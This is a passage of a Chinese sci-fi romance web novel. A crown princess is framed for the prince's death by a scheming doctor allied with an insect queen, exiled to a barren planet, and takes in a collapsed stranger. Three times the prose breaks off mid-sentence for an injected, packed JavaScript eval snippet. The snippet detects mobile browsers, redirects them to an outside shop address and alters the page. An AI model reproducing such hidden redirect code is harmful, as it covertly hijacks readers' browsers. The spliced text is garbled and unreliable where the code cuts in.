“多谢您体谅。” 话落,大门也应声而闭,此时的房间里多出来一个体型并不玲珑的Alpha后,让这间本就不大的囚室显得更加拥挤。 本就对这个花蝴蝶一般的男人没有好感的桑宁叙这下更不愿意下床,至少她缩在最里处的床角还能让二人之间保持些许客气的距离。 他来干什么?听那个守卫的意思,这人还是偷摸着跑来看她的? 这人有这么好心? “桑小姐近来再没有做过与虫族相关的梦吗?” 次奥,他怎么知道的? 秘密就这样被人冷不丁指出的桑宁叙只觉得浑身血液都在倒流,几乎是一瞬间,皮肤上就爬满了细细密密的鸡皮疙瘩,她背后原本被体温温暖的墙壁似乎也立刻重新变得如冰块般冻人起来。 在看到女孩本就警戒的表情现下更添一份惊恐与无措,恶劣的男人扯了扯嘴角,对着她露出一抹毫不遮掩恶意的冰冷笑容。 “别那么惊讶嘛,要不是有你帮忙,要弄死那位,我一个人可是无法完成的。” “你什么意思?” 捕捉到终点信息的桑宁叙此时也顾不上害怕,她死死拧着眉心语气不善地开口询问。 “你看你看,是我忘记了。”男人眼中的笑意愈发明显,他似是不紧不慢地故意向前了两步,在女孩嫌恶的眼神中像什么都没看见一样,语气愈发甜腻恶心:“元宿和江止今早已经醒来,经过皇室的彻查后,桑小姐,您已经被确定是谋害太子殿下的唯一凶犯。” “这不可能!这跟我有什么关系!”桑宁叙立刻激动地从床上几步跳下,随即大喊出口。 “这当然和你有关系了。”压根没把她激烈行为放在眼里的贺书愉不屑地嗤了一声,在女孩悲愤又不可置信的眼神中后退了两步,像是嫌弃她身上的味道一样在面前扇了几下,罢了才终于收起脸上假惺惺的笑意,恢复了原本森然可怖的扭曲面孔,一字一句的对她说道:“是你骗取殿下与我的信任,在标记后调换了殿下特制的稳定剂,目的就是为了让你不被成功标记。但是,你却没想到,这种药剂的副作用只会加重殿下的信息素暴乱。因此在作战中,意外被虫族毒素干扰的太子殿下被诱导致狂化失控,也恰好落入虫族早已设计好的陷阱,失去生命。” “而着一切的始作俑者,都是你,桑宁叙。” “你他妈放屁!” 由于情绪过于激动,此时的桑宁叙早已泪流满面,她心中憋着一口气,在这个假模假样的撒比医生叨叨完后,她只觉得自己眼冒金星,恨不得立刻冲上去撕碎这个满口谎话的骗子。 “明明当时是你……”女孩忍着哭腔伸出手指恶狠狠地指着男人的眉心,嗓音尖锐的吼道:“是你跟我说稳定剂要在……” “桑小姐,饭不能乱吃,话也不能乱讲。” 贺书愉忍下心中的怒意继续开口,毕竟这么多年来很少有人敢用这种语气和他说话,更别提用手指他:“我是告诉你标记过后需要给殿下及时注入稳定剂,但是你在我的药剂室内偶然看见了能让Omega不被标记的实验试剂,于是鬼迷心窍调换了稳定剂,为殿下注射了还在实验中的不稳定试剂,导致殿下在战场上不幸丧命。” “证据呢?有证据显示是我调换的试剂吗?” “桑小姐,你怎么还这么天真。”贺书愉这下真是不耐烦地叹了口气,似乎很不理解这个表面乖巧的女孩为什么没有按预料中的乖乖低头认罪,而是非要继续和他无为地争论辩解,“搜查官在您的房间内找到了用过的试剂针管,经过化验,上面只有您一人的生物指纹,这难道还不够吗?” “况且,谁不知道标记结束后,唯一能近殿下身却不被驱赶排斥的,就只有您一人呐。” “不可能……” 扣扣—— 只可惜这次还没等到桑宁叙的质问,一阵急促的敲门声倒先打断了屋内二人的谈话。 “长官,时间差不多了,您看……” “就来。”在守卫的催促中,早已被女孩磨得失去耐心的贺书愉整理好衣衫,对上她充斥着恨意与不甘的眼神,轻蔑地对这位不久前还高高在上需要他伺候的前太子妃彬彬有礼且傲慢地扬了扬下巴,随即转身开门离去。 听见大门再次关闭在眼前和走廊内逐渐模糊的脚步声,恢复镇定的桑宁叙一屁股坐在床上,脑中一遍遍思索着贺书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841943|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愉临走前对她说的最后一句话。 “最多不出三日,您是死是活,就要看上天的造化了。” “祝您好运,桑小姐。” 呸,她才不需要这个狗东西的祝福! 在心中恶狠狠地唾弃无数次这个狗男人后,桑宁叙也立即根据刚才自己好不容易搜集到的信息开始着手分析。 她就知道贺书愉这个眼睛长在脑门上的变态男人不会无缘无故地好心看望她,果然,她猜得一点没错,这人绝对是专程来看她的笑话,顺便侮辱自己一番。也不知道穆沉凛到底怎么惹了他,她这个被连带着讨厌的太子妃可真是冤死了。 既然如此,那她不如趁机好好表演一番,最好能让他看在自己死到临头还不知死活的模样时,多透露点外界的讯息。 尤其是,在这种情况下,帝后究竟想要如何处置她…… 不过听贺书愉的意思,看来那二位暂且还没有最终决定直接要她小命。 也不知道这件事情闹得有多严重,该不会父亲和姐姐也都听说她成杀人凶手了吧。 脑子一片乱麻的桑宁叙有气无力地瘫在床上,她望着那光秃秃的天花板,暗暗祈求自己能多活一天是一天。 “父亲,宁叙怎么可能杀人呢!一定是他们弄错了!” 穆沉凛的死讯一经皇室放出,不出半分钟就传遍帝国星网,所有人都不敢相信前段时间才报过喜讯打过胜仗的顶A太子殿下居然就这么轻而易举的死了。 与此同时,正在勤勤恳恳工作的桑少校也应召入宫,得知女儿犯下了不可饶恕的滔天大罪。 当场直接傻眼的桑少校愣了足足有十分钟都没有反应过来,还是在宫廷长不断小声的催促下,才像是从大梦中苏醒一般,跌跌撞撞地回到了家中。 从父亲口中得知消息的桑灵叙几乎是一瞬间就坐不住了,她面色惨白差点直接昏厥,在被佣人眼疾手快地接住即将摔倒的身躯后,桑灵叙焦急地坐在客厅沙发上,看着大块头的父亲在眼前不断走来走去,嘴里还一遍遍疯狂嘟囔着:“不可能,一定是搞错了……绝对不可能……” “父亲,不然我去求求沈安之,看看他们家有没有什么办法能帮宁宁……” “不行。”终于从慌乱中回过神来的桑上校一口回绝了女儿的请求,在桑灵叙又是痛苦又是不解的视线中,他只好为难地开口:“你和沈家的婚约好不容易才定下,现在宁叙犯了这么大的罪,别说帮忙,说不定他们已经准备要跟你退婚了。” “那我们也不能不管宁宁啊!退婚就退婚,我不嫁就是了!” 看着大女儿赌气的面容,桑上校心中愈加无奈:“灵灵,别胡闹。你都已经被永久标记过,要是不和沈安之结婚,那以后……” “那有什么的,我自己一个人也能忍过发情期!” “桑灵叙!”被女儿胡言乱语着实气得不轻的桑少校不由提高了声线,却在对上她通红委屈的双眼后不自觉软下了脾气,“你别急,我再想想办法。况且今天入宫,听陛下的意思应该是不准备判宁宁死刑,但流放是难免的,我再找人帮帮忙,就算真要流放,也得让宁宁随时有人照顾。” “谢谢父亲。” 得到桑少校确切答复的桑灵叙肉眼可见的恢复了一丝精神,但只要一想到自己从没吃过苦的妹妹现在正关在哪个不知犄角旮旯的囚牢中,她就忍不住悲从中来,恨不得抱着自家妹妹的照片大哭个三天三夜。 宁宁,你可千万要平安无事,不然,以后姐姐要怎么跟妈妈交待…… 是夜,睡在桑宁叙房间内的桑灵叙枕着妹妹的枕头,手里抱着妹妹儿时最喜欢的小熊玩偶,在宁静的夜色中仿佛又回到了孩童时期姐妹俩相依为命的孤独日子。 在她细微的抽噎声中,夜色渐浓,一室伤痛。 17. 第 17 章 “前太子妃桑宁叙,自私自利,为不被标记犯下偷盗保密实验药品罪,此外,趁太子殿下标记后体弱无力,蓄意注射不明液体,导致殿下在战场上兽化发狂,丢失性命,犯下谋害皇室继承人的滔天死罪。嫌犯桑宁叙,你可认罪?” “我tm认个锤子!放开我,老娘要揍死那个姓贺的!” “你爷爷的贺书愉,等着姐就算死了做鬼也不放过你!” “禁卫军听令,就地处决此女!” “放开姑奶奶!我呸,我没杀人!” 靠! 从梦中惊醒的桑宁叙满头是汗,她捂着胸口剧烈地喘息,刚才梦中那把锋利的斧头似乎近在眼前,下一秒就会毫不留情地砍断她的脖子。 原来只是个梦。 意识到自己还在囚室好好睡着的桑宁叙摸了一把额前湿淋淋的汗水,稍微放松了一点,她看了一眼浑浊的夜色后继续双眼一闭,倒头睡去。 本以为自己真的会像梦中那样被绑到众人面前宣读判罪书后斩立决,桑宁叙心绪不宁了好几天。 结果出乎意料,某天清早,还在睡梦中的桑宁叙被一群人二话不说地从床上揪起后,神志不清中被赶进了一座看起来破破烂烂的飞船。 终于意识到情况不妙的女孩猛然醒悟,然而为时已晚,舱门早已关闭,飞船上只孤零零地留她一人,刚才那一群人顷刻间都不知所踪,甚至跟没有出现过似得。 被飞船中极低的冷空气冻得狠狠打了个喷嚏后,桑宁叙才终于敢确定自己的确不是在做梦,她真的…… 从那个几平米的可怜囚室内被放出来了! 只是,现在她要去哪儿啊? 见飞船一路平稳的在太空中飞行,暂时断定应该没有危险后她缓缓起身,开始在这片不大的空间中认真探索,试图期待能找到什么有用的信息。 然而半个小时后,她几乎把整个空间都翻遍却依然一无所获。 这不科学吧,怎么能什么都不告诉她就擅自把她丢到连目的地都未知的飞船上呢? 苦恼中她竟一路顺利地走到了只与客舱一面玻璃之隔的驾驶舱附近,却意外发现那里面居然也空无一人。 胆战心惊的桑宁叙以为帝国这群人是要她在宇宙中自生自灭,好在眼尖地她瞅见了显示屏幕上正频繁闪烁的那个未知坐标。 整张脸都紧贴在玻璃上的桑宁叙不得不眯起眼睛,试图努力看清那个角落中如蚂蚁大小的文字。 上面写得什么来着? MS-8310。 这是哪?等等,MS?! 不可置信的桑宁叙再次眯起眼睛,怀着急速忐忑的心情,又仔仔细细看了一遍那个绝对错不了的星系名称。 我勒个天,怎么跑去MS星系了!! 虽然对帝星周围星系几乎一无所知,但她在翻阅虫族书籍时还是读到过这个大名鼎鼎的恐怖坐标。 据说,这里似乎是最初被放逐的帝星人第一次发现虫族的地方。 很长一段时间,帝国都坚信是这片星系的某颗星球发生了异变,才进化出这类无法交流的恐怖虫类。 而作为第一站点的MS星系,也因为帝国消息滞后和防卫不当而导致这片星系中大部分星球上的帝国罪民都被虫族消灭的一干二净。 从此以后,被帝国军队严密看管的MS星系也成为穷凶极恶罪犯的首要流放地。 与其直接杀死你,不如把你当做诱饵扔到MS星系,为吸引与抵御虫族贡献一份力。 也不知道是谁想出来的,好狠毒的办法…… 本就因为低温而越发觉得心中一片寒冷的桑宁叙亦步亦趋地再次走回刚才的座位,半晌后才傻愣愣地坐了下去。 她是不是真的要完蛋了? 如果只是在帝国监狱,虽然后半辈子都不见天日,但至少她不必为自己的性命所担忧。 可现在…… 桑宁叙露出一抹苦涩的微笑,她现在是真的不知道,与其直接被帝后下令处死好,还是在一颗随时都可能面临虫族侵袭的异星上来得快活。 反正她最终的归宿,似乎都只有一条路…… 唉,早知道就不该保留自己嗅觉失灵的秘密,还不如当时直接被贺书愉放在手术台上给剖了完事。 悲催中的桑宁叙忍不住一遍又一遍的叹息,当她偶然看向窗外那浩瀚无垠的宇宙与黑暗地带时,只觉得心顿时沉到了谷底。 虽然穆沉凛让她别害怕,但是…… 任谁被一个人孤零零地丢在宇宙中,肯定都会!哦不,还真不是。 想到当时在星舰上那群累死累活、奋勇杀虫的Alpha们,他们应该就能非常冷静地面对现在的情景。 但是她不是个Alpha啊喂! 咦,等会! 虽然理论上来讲她是个纯粹的Omega,但是……反正自己也闻不到信息素,腺体也没有被标记过的痕迹,不如干脆就伪装成自己是个半残疾的Alpha好了。 毕竟在这样的危险地带,若是暴露自己是Omega的事实,那她估计真的会被吃的连骨头渣子都不剩。 反正她一直以来都很不满自己性别为Omega,那为何不趁此机会,直接来一招混淆视听,让大家都误以为自己是Alpha呢。 可以可以,她觉得这招可行! 于是,开始使劲在脑内回想星舰上那帮Alpha们平时走路、发力、说话姿势的桑宁叙,正雄赳赳气昂昂对着窗户不断调整着表情和身形,希望自己等会一下飞船就能被默认为Alpha。 飞船平稳又安全地穿梭跳跃过一个又一个不名星系,前往那个即将到达的未知星球。 然而桑宁叙不知道的却是,其实早已有人在暗中等待着她的到来。 “……女王陛下……您准备……什么时候占领帝星……” 无论尝试了多少次,在接通虫族灵能网的那一刻,贺书愉还是无法控制地感受到巨大的压迫和吞噬,即使知道那群东西没有她的命令是绝对不会轻举妄动伤害到自己,但帝星人刻在基因内,本能对虫类的抗拒和排斥还是让他每次沟通完都像是小死了一回。 凭什么只有那个穆沉凛非但不惧怕虫族,甚至还对它们拥有致命的伤害力。 不过幸好,那个自以为是的太子殿下在他的推波助澜下,已经彻底被虫群粉碎,连尸骨的一丁点碎渣都不剩。 想想在皇宫中瞧见帝后乌青发黑,随时都可能撒手人寰的惨绝面容,贺书愉只觉得心中从未如此畅快。 现在他终于如愿以偿地干掉这个碍事的战斗主力,已经就快要忍不住的贺书愉无时无刻都等待着她的一声令下,带领虫族为他夺取这颗星球。 等虫族在帝星安家,他也可以尽快实验如何让帝星人与虫族□□,从而彻底改变两族基因,诞下继承虫族和帝星人混合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852585|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 优点的新型结合体。 到时候,拥有虫族超强战力和繁衍速度,再加上帝国人的智慧与寿命,他们将彻底横扫整片星系,不断扩张,直至成为整片宇宙的唯一霸主。 这,就是他贺书愉的终极梦想。 占领帝星仅仅是他梦想开始的第一步,但却也是最为关键的一步。有了虫族的支持,再干掉那个危险分子穆沉凛,失去顶级Alpha庇护的帝国在群龙无首时,即使再心不甘情不愿,也只能乖乖举手投降。 在意识即将被低语呢喃的黑暗吞噬前,贺书愉不得不断开了和虫族的连接。 她没有理会他的请求,为什么? 明明穆沉凛已被除掉,正陷入悲痛的帝国哪有心情抵御虫族的来袭,现在正是大好的机会,要是等之后帝国重整旗鼓,那他们的计划不就危险了…… 百思不得其解的穆沉凛虚弱地站在这个目前为止只有他一人有权限随意出入的冷室中,瑟瑟发抖之际,也只好暂时退出了此地。 每次精神联络完都至少需要休息三天的男人再次厌弃般地碰了碰后颈处残疾的腺体,没办法,他的信息素力量实在太过弱小,无法频繁地每天都和虫族保持联络。 既然穆沉凛已死,帝国也早晚会被他收入囊中,并不急于这一时。 也许虫族现下还有更重要的事情在等她,比起在这里浪费时间干等,倒不如趁着帝国权力中心混乱的时刻,让他把这方本就浑浊不堪的污水再搅得更乱一些吧…… 桑宁叙在这艘飞船上待了整整三天。 也还算这帮人有良心,为她配备了基本所需的营养液和水,才让她不至于饿死。 狭小的浴室了也终于有了热水和喷头,待她把身体清洗干净后,又从储藏室里巴拉出来一身宽大工装的女孩满意地对着镜子看了看自己现在的打扮。 原本栗色的及腰长发被她一刀剪到了耳下,饱满白皙的额头则被长长的刘海遮住,本就不大的脸在头发的遮掩下,只能勉强看清小巧的鼻头和微红的嘴唇。 幸好她的身高不算矮,虽然和正常Alpha比起来差得不是一星半点,但至少也不是标准Omega的小巧体型。 作为一个发育不全、半残疾的Alpha,她现在的外表都正正合适,虽然一定避不过少许人的怀疑,但她相信,在那样一个稀奇古怪的地方,想必应该也不会有人刻意深究她的话术。 反正都是一帮犯了死罪甚至活不到明天的倒霉蛋,只要不是作为Omega被乱上,谁有空在乎这个Alpha残不残废。 看着驾驶舱仪表盘上显示的目的地距离和剩余燃料,桑宁叙不得不感叹帝国皇室的精心准备。 连燃料都是只勉强够将她从帝星送到MS-8310,就算她想试图撬开驾驶舱自己驾驶飞船重新返回帝星,也会在不到半路时就因为燃料不足而被迫停留在宇宙间流浪。 行吧,看来这颗星球是去也得去,不去也得去了。 估算了一下大概的时间后,桑宁叙决定趁着飞船赶到那颗未知星球前,在这还算安全干净的客舱内先好好睡一觉,毕竟只有养精蓄力,等面对危机时,她才能脑子转得快点,甚至脚底抹油早早溜之大吉。 于是,怀着不安与惆怅的心情,桑宁叙给自己盖上从储藏室里意外翻出的厚厚毛毯,靠着窗户欣赏了一会儿路过的那颗像被熊熊烈火围困住的橙色星球,孤身在空旷静谧的宇宙中渐渐睡去。 18. 第 18 章 比起被丢到荒星勉强还称得上安然的桑宁叙,帝国内部现在可以称得上是一片混乱。 先是帝国唯一继承人意外战死,后又爆出杀害太子殿下的真凶实为太子妃。被这劲爆消息几乎震碎了三观的王公贵族们,已经连续一周都在八卦着这件让所有人都叹为观止的皇室秘闻。 不知帝后是何考量,也许单纯认为家丑不可外扬,又或是为压下皇宫内疯传的流言蜚语保全王室的脸面,最后竟决定对外只称太子穆沉凛因意外不幸战损,而照顾不周的太子妃也因此受到牵连被发配荒星。 由于不日将举行太子殿下的出殡仪式,皇室强制要求全帝国人民一同为其哀悼祈福,同时举办国丧五日,期间停课停工,所有人都不得随意外出走动,更不许举行任何庆典宴会,一经发现,直接送入牢中,一个月后才可放出。 即使网络上也有不少人对太子殿下的死因提出质疑,但终究死者为大,况且穆沉凛本就是很多少男少女的心中偶像,看到自己喜欢的人不幸去世后,居然还被人在星际网络上恶意揣测,甚至攻击调侃,这些正值青春期脾气火爆的少年们立即化身殿下的亲卫队,趁着国丧期间更是毫不留情地在电脑前开喷。 太子殿下为国捐躯,居然还有人在这里骂骂咧咧?看他们不用键盘敲死这帮心口开河的阴谋论者! 然而从某种意义上来说,被喷的这群人这次还真是冤枉,毕竟谁也不会想到,太子殿下居然是被自己的妻子杀害而亡。 被扣上“弑夫”罪名的桑宁叙也没有等来应属于她的最终判决,甚至在大部分人都不知情的情况下,就已经被帝后派人静悄悄地送上飞船前往荒星了。 现如今,比起决定该由谁担起抵御虫族侵袭的重任,对战事一窍不通的臣子们却早已按耐不住摩拳擦掌,时刻准备着鼓动再无子嗣的帝后从旁支中重新挑选适合的人选,尽快再立太子。 虽然陛下今年刚过50,但向来身体不佳且经常累倒在病榻上的帝王若不是有王后的悉心照料,又背靠早熟强悍的太子殿下手握军权保卫帝国,大概他们这位孱弱的帝王早几年就已经嗝屁,哪里还等得到今天白发人送黑发人。 因此,在帝国内部的暗潮涌动中,被骚扰得不厌其烦的帝后也干脆借口丧子之痛,直接宣病卧床不起,除了必要的政事以外,关起大门谁也不见。 而还在飞船上沉睡不醒的桑宁叙早已远离了这场纷争,在漫漫星河中终于抵达了她这次旅途的终点,MS-8310星球。 桑宁叙是被几个带着面罩看不清面容的高大Alpha粗暴拍醒的。 还不等她开口说话就已被赶下飞船的女孩在这群沉默边境战士的押送下,很快就坐上了一辆标识着帝国皇室印记的巡视探测车。 在几个身材壮硕Alpha包围中,像个小萝卜头一样的桑宁叙在这说不清道不明的尴尬氛围中微微缩了缩脑袋,心神不宁地等待着接下来的流程。 他们不会是要把她丢进一帮凶神恶煞的Alpha罪犯中让她自生自灭吧? 又或者上来就要她去前线当诱饵吗? 更糟糕的情况……不会真的是要拿她当什么实验体吧! 心中冰冷无比的桑宁叙被自己吓得直哆嗦,反正无论是哪一种情况,好像结局都一样…… 不会真要成必死局了吧! 忽然,一阵冷风倒灌进车内,巡逻车在她胡思乱想中已稳稳停下,此时车门大开,桑宁叙在其他几人不善的眼神中硬着头皮慢吞吞地从车上下来,随即就被眼前这片景象震惊到数不出话来。 她脚底正站在一颗极尽荒芜,到处都一片灰蒙蒙,可见度不到百米的,鸟不拉屎鸡不生蛋的偏僻地带,放眼望去方圆几公里内更是连一个像样的帝国人都看不见。 虽然头顶就是浩瀚无垠的盛大星系,但…… 这真的不是什么严重雾霾吗? 站在原地微微发抖的桑宁叙在心里战战兢兢地想着,虽然她也很想扯着嗓子问一问这几个看着就凶神恶煞的警卫队员,但不知为何,只要对上他们脸上唯一露出的,那毫无情绪如机器般没有感情的双眼时,桑宁叙刚到嘴边的话就不得不再吞了进去。 这些人对她的身份并不好奇,也丝毫没有任何兴趣。按照规定把人送到指定的地方后,人高马大的Alpha随意对她指了指眼前的那栋连建筑都算不上的东西,随即就利索地回到车上,一脚油门消失在了她眼前。 不儿,大哥们,这就没了?! 目瞪口呆的桑宁叙望着早已消失在迷雾中,连车尾都看不见的白茫茫一片,抱紧胳膊后狠狠打了个喷嚏。 这个地方,怎么和她原来世界中一个很出名恐怖片的场景那么相似呢…… 停止脑补,停止脑补! 使劲摇了摇头,看着矗立在眼前这个形状奇怪像个多面球体的战地机械帐篷时,桑宁叙深深叹了口气。 看来这就是她的住所了。 在浓雾中时隐时现的深灰色外壳看起来坚硬无比,似乎就算用激光枪扫射也无法顺利穿透,六个如爬虫类触角则被死死钉在地面上作为固定器,大概是防止在极端天气中被大风吹跑。 不对…… 桑宁叙仔细打量了一番这会正紧紧关闭的六边形大门,她终于知道这个帐篷的形状怎么那么眼熟了! 这好像,就是模仿虫族的半截身体所设计的。 这么说来,也许那几个固定器的作用很可能并不仅仅是预防自然天灾,反而更像是…… 防止住所被从天而降的虫族连地拔起! 我嘞个天! 桑宁叙只觉得自己仿佛正在被一个失去脑袋的虫子恶狠狠地盯着,现下还要走到人家肚子里去。曾经梦境中的不适感再度袭来,她硬着头皮在门口磨蹭了一会,最终还是不得不放弃抵抗,一步两步,走向了那个几乎有她身高两倍高的大门。 算了,还是先进去看看吧。虽然外面暂时看起来好像还挺安全的样子,但身处迷雾之中,她总觉得有什么东西一会儿就会突然从中蹦出,然后毫不客气地给她来个贴面杀。 开门解锁的流程倒是异常顺利,也许这边的高层已经提前收到了帝国的消息,即使桑宁叙换了发型,但人像识别系统还是轻易地判断出她的身份信息,在电子音的提示下,她一步步地录入虹膜与指纹,随后就立刻听见了咔哒一声。 解锁成功。 看着已经在面前敞开的大门,昏黄沉暗的光线从室内透出,勉强照亮了她周围一小块地方。 去吧,应该不会有事的。 当她终于轻手轻脚地踏入室内,大门也随之自动关上。 比起光秃秃荒无人烟的室外,室内倒是比她想象中干净宽敞许多。 进门首先引入眼帘的是一张不大不小的黑色餐桌,左右两边各摆放了两把简陋的椅子。再往里走,是两张铺的整整齐齐的狭小单人床和一个看起来非常老旧的写字台,上面居然真的摆着一台不知多少年前就淘汰下来的通讯设备。 估计是用来接收军队的消息。 一个勉强够用的木质衣柜此刻则孤零零地贴着床铺侧面的墙壁,一墙之隔则是用来洗漱的浴室。 看着那间还算干净整洁,几乎占据了整个房间多半面积的浴室,桑宁叙顿时松了一口气。 她对客厅和卧室都基本没什么要求,能睡觉就行。唯有浴室,绝对不能过于狭窄和恶心,不然她可能真的没法强迫自己在这里生存下去。 室内的气温明显比外面要暖和许多,才站了没一会儿,桑宁叙就已经感到身体在渐渐发热,她随手脱去宽大的外套丢在门口的凳子上,然后坐下来继续默默观察着四周的环境。 虽然有两张床,但看起来这里只有她一人居住。衣橱里空空如也,餐桌底下到是垒着两大箱营养液和纯净水,除此之外,再没有任何其他人留下的活动痕迹。 看起来,似乎这里并不经常配送补给…… 连日来奔波的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860473|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疲惫和无时无刻印在心头的恐慌在成功抵达这颗荒星、又顺利入住温暖安全的帐篷后被逐渐驱散。桑宁叙抬头向上看去,倒是意外发现了床铺头顶正对着的两扇小巧的类似于出气孔似的窗户。 虽然站在这颗星球上并不能看清四周的一切,奇怪的是,头顶上太空中无际的黑与偶尔闪过的淡淡亮光倒是让这里不再显得那么可怖。 也不知道帝国怎么样了,父亲和姐姐知不知道她现在的情况,如果不知道反倒是最好。 她那个水做的姐姐,如果真的知道自己成了杀人犯,恐怕是要把眼睛给哭瞎了。 还有她那位离奇死亡的太子殿下,也不知道这人当时许诺她的到底算不算数,什么要信任他,他都把自己作没了,她还信任个锤子啊…… 洋洋洒洒的思绪一点一滴占据脑海,在这安全温暖的室内,桑宁叙睁着双眼一刻不停地持续回忆、思考着这些天发生的事情。 穆沉凛的死,贺书愉的挑衅,自己的背叛,虫族的联络,所有的一切看起来都毫无关联,却又莫名让她觉得层层串联。 怎么可能刚好给穆沉凛使用的稳定剂居然可以被她如此巧合地成功调换,更别提他们最后一次标记那晚,她被男人折腾地早就昏了过去,印象中压根没有一点精力给他注射药品,可贺书愉却说他们在她的床底发现了实验试剂。况且那次标记后,她的记忆也只停留在穆沉凛将信息素注入腺体的那一刻,等标记结束后,早就受不住的她更是什么都不记得。 难不成,真的是自己在迷糊中给他注射了奇怪的东西? 若真是如此,又该如何解释她从贺书愉的办公室里偷出严格看管的实验药品呢?虽然她的确在贺书愉的邀请下偶然去过一次男人的办公室,但也只是坐在待客的椅子上乖乖等待从他手里接过调配好的药剂。 更何况,她还记得贺书愉那家伙说,要是没有她的帮助,他自己一人是无法弄死太子殿下的。 好烦…… 一切发生的都太过迅速,她甚至都没有机会见一面元宿,好仔细问问现场的具体情况。 现在被送到这么偏僻的破地方,大概她也没什么机会再探究殿下的死亡原因了吧。 要是在这个地方耗一辈子,每天被囚困在这个前不着村后不着店的荒凉地带,大概率的确是很难熬。 没有同类,也接触不到外界信息,就连个能说话的人都没有。 看来这就是帝后给予她的最终报复,活活把她困死在这颗荒凉寂静的无人之星。 渐渐闭上双眸的女孩在幽静的氛围中逐渐呼吸平稳,像是睡去了一般。 不知过去了多久,本该纹丝不动的房门却突然传来了意外的敲门声。 不紧不慢、不轻不缓,甚至有一丝伪人的机械感。 在发出声响的同一时间,桑宁叙就警惕地睁开双眼,表情凝重地盯着那扇看似坚固无比的大门。 心脏在胸口一下又一下有力急促的跳动,而门外的敲门声却依旧没停,两个声音不一会儿竟意外地渐渐吻合,桑宁叙踮着脚静悄悄地来到门口,敲门声也像是有感应一般随之而停。 纠结中,她谨慎小心地慢慢趴在门口,试图仔细聆听任何门外出现的可疑声音。 然而不知过了多久,桑宁叙却再也没听见任何声响,就连刚才锲而不舍地敲门似乎也是她臆想出来的。 怎么回事? 她幻听了吗? 秉着恐怖小说中不作死不找死的旁观姿态,桑宁叙决定不去管它,除非…… 果不其然,她才刚转身准备离去,敲门声就再次应约响起。 只不过比起刚才,这次明显夸张急促了许多,都让她甚至怀疑这人不会一会儿把门砸烂吧…… “有人吗?我的飞船坏了,只好暂时在此处迫降。” “我已经三天三夜没休息了,麻烦你……” 咚—— 话还没说完,桑宁叙就听见了沉闷的砸地声。 19. 第 19 章 时间又过去了五分钟,确认外面没再传来任何声响后,桑宁叙才偷偷摸摸做贼似的把门推开了一条缝。 耶?真晕啊! 本来还疑惑这人跑得也有点忒快的女孩不经意地向下一瞥,就看见了黑乎乎的一大团东西正挡在门口。 胡子拉碴的男人昏倒在地上,杂乱的头发几乎遮住了他大半张脸,桑宁叙等了一会见那人没有要醒的样子,才敢稍微又拉开了些门。 从门口朝外望去,不远处似乎的确有个不清不楚、但类似于飞船模样的东西停在那里。 看来这人没撒谎。 桑宁叙蹲下身体把男人翻了个面,有点嫌弃地拨开他的头发,露出一张完全陌生的面孔。 长得还不赖,就是看起来不太干净。 她像模像样地评估了一下,在看向男子眼底明显的青黑痕迹时,无奈地叹了口气。 其实她现在真的没心情管别人,但是…… 既然能如此巧合地晕到她门口,她也实在不是个见死不救的铁血心肠。 虽然这人的身份信息都不明朗,她还是个戴罪之身……得,就当她给自己积点德好了。 女孩顺手拍了拍男人的脸颊。 碰到我,算你好运。 费了九牛二虎之力,又拖又拽才把人勉强搬进房内后,长时间不运动的桑宁叙已经累得上气不接下气,她破罐子破摔地踢了两脚男人的小腿,一边抱怨一边继续把人往床上抗。 总不能让这么个病号睡地板吧。 唉,她就是太好心,心太软。 她就是心太软,心太软~~~ 不由自主跟着心声哼了两句歌后,桑宁叙看着床上一动不动的男人,最终还是任命般地站起来给他喂了点水。 把杯子随手放在两张床之间唯一一个看起来还算新的木质茶几上,桑宁叙终于有空坐下来好好打量这人一番。 看这个身材,肯定是个Alpha没跑了。 也不知道这人半道儿上从哪窜出来,身上的夹克和褐色长裤虽然勉强看得过眼,但也明显穿了很久,甚至隐隐能看出洗得发白,好在至少上面没有补丁。脚踩的军用皮靴倒还挺新,也不知道从哪薅来的。 先入为主认定男人一定不是什么正规职业的桑宁叙毫不客气地把他从头到脚、来来回回扫视了几遍后,才小心翼翼地伸出一只手探了探他的额头。 还行,没发烧。 估摸着男人只是极度疲乏缺觉而已,桑宁叙放下心来,她看了看周围,抬脚走去浴室随便找了条还算干净的毛巾,用温水打湿后粗粗给人抹了一把脸和手。 睡在她的地盘,不脱鞋就算了,但起码也不能太脏。 洗干净毛巾,她开始习惯性地到处找表,想知道现在确切的时间和日期。 可惜她并没有在房间内看见任何计时设备,桑宁叙转来转去,最终还是停在了这个年老失修,都不知道能不能用的通讯设备前。 死马当活马医吧…… 